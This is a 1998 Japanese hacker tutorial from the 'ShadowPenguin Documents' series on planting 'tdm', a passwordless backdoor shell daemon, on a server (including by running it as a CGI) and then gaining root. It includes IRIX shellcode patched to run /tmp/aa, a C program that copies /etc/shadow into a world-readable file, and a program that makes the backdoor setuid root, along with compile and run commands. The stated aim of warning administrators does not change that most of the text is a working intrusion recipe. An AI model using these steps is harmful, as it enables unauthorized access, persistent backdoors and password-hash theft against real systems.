================================

The ShadowPenguin Documents. No.6

- suトロイでrootになる -

Written by うにゅん Oct.18, 1998

================================

1. はじめに
tdmをサーバに常駐させておけば、ログなし、パス無しでターゲットにログインできま す。また、telnet、rloginなどが不可能なISPでも、CGIにして実行すれば、同様の方法で ログインできる場合が多いです。こういったツールを使うとログ参照もあまり意味がな いですね。CGI可能なサーバ管理者はこういうことにも注意しましょう。このテキストでは、tdm等のツールの危険性を理解して頂くために、これでrootをとる実験方法を示します。

2. 仕込み方
dtmを用意します。tdmはここのHPに落ちてます。
%cc tdm.c -o tdm
でエラーなら
%cc tdm.c -o tdm -lnsl
としてコンパイルしましょう。gccでも構いません。
%tdm &
これで、クライアントから telnet ターゲット 5210 すると、ログインできます。ログインすると[ush]%っていうプロンプトが出ます。なおrootでtdmを常駐させておけばrootログインできます。
[ush]%logout
でログアウトできます。 また、telnet、rloginなどが不可能なISPでも、CGIにして実行すれば、同様の方法でログインできる場合が多いです。
(例)
%cc tdm.c -o tdm.cgi
として、ブラウザで
http://www.hoge.com/‾hoge/tdm.cgi
としておけば、telnet www.hoge.com 5210でログインできます。

3. 注意事項
即、プロンプトが帰ってくるコマンドじゃないと実行できません。でも、cat > が使えないのはしんどいので、良く似た機能を実現でるように しました。ファイルを作る場合、$mktextというコマンドを使います。EOFは$eofとなります。
(例)
[ush]%$mktext aaa
testfile
$eof
[ush]%cat aaa
testfile
[ush]%

4. root
一度、一般tdmを常駐されると、ログやトラップも心配せずにのびのびと遊ばれてしまいます。tdmもrootで常駐しておけば、即rootログインですから侵入者は是非ともrootが欲しいところでしょう。tdmの問題点は先ほども書いたように即プロンプトが戻ってくるコマンドじゃないとダメです。telnet、ftp、sh、su、viなどはダメです。root-expolit関連のプログラムは内部でshを呼ぶのでコレを用いたroot盗りはちょっと工夫がいります。よくあるroot-exploitプログラムはスタックに書くためのアセンブラコードがプログラム中にあります。例えば、こんな感じですね。
u_long irix_shellcode[] = {
0x24041234, /* li $4,0x1234 */
0x2084edcc, /* sub $4,0x1234 */
0x0491fffe, /* bgezal $4,pc-4 */
0x03bd302a, /* sgt $6,$sp,$sp */
0x23e4012c, /* addi $4,$31,264+36 */
0xa086feff, /* sb $6,-264+7($4) */
0x2084fef8, /* sub $4,264 */
0x20850110, /* addi $5,$4,264+8 */
0xaca4fef8, /* sw $4,-264($5) */
0xaca6fefc, /* sw $4,-260($5) */
0x20a5fef8, /* sub $5, 264 */
0x240203f3, /* li $v0,1011 */
0x03ffffcc, /* syscall 0xfffff */
0x2f62696e, /* "/bin" */ (*)
0x2f7368ff, /* "/sh" */ (*)
};
内部で/bin/shを呼んでるのが分かります。これではtdmで使えませんし、/etc/shadowを覗いたりもできませんね。でもよく見るとsystem callで/bin/shをただ読んでるだけなので、ここをオリジナルプログラムを実行させるように変更しましょう。そうすれば、そのオリジナルプログラムで、何でもできます。(*)の行を以下のように変更します。
0x2f746d70, /* "/tmp" */
0x2f6161ff /* "/aa" */
これで、/bin/shが実行される代りに、/tmp/aaが実行されます。そんで、/tmp/aaを作るわけです。たとえば、/etc/shadowを覗きたい場合、
/*---- catshadow.c ---*/
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
main()
{
FILE *fp,*fpo;
char buf[1000];
fp=fopen("/etc/shadow","r");
fpo=fopen("/tmp/shadow","w");
for(;;){
if (feof(fp)) break;
fscanf(fp,"%s",buf);
fprintf(fpo,"%s¥n",buf);
}
fclose(fp);
fclose(fpo); chmod("/tmp/shadow",S_IWUSR|S_IRUSR|S_IRGRP|S_IWGRP|S_IWOTH|S_IROTH);
}
上記プログラムを/tmpで次のようにコンパイルします。
%cd /tmp
%cc catshadow.c -o aa
あとは、先ほどの改造したroot-expolitプログラムを実行すると、そのプログラムがaaを呼び出し、/tmpにcat可能なshadowファイルを生成します。
これと同じような方法でtdmをsuidにしてみましょう。
今、tdm経由で接続している場合は、ポート5210は使用中なのでソースを編集して5211とかにします。ポート番号はtdmソース中の
#define PORT_NUM 5210
の様に指定されているので、そこを5211とかに変えてください。そして、/tmp等でtdmをコンパイルします。
%cd /tmp
%cc tdm.c -o tdm
/*---- roottdm.c ----*/
#include <sys/types.h>
#include <sys/stat.h>
main()
{
chown("/tmp/tdm",0,0); chmod("/tmp/tdm",S_ISUID|S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);
}
これも同様に
%cc roottdm.c -o aa
としてroot-expolotプログラムを実行させればOKです。

知らない間にrootを取られたってことがないように、普段からちゃんと管理しましょうね。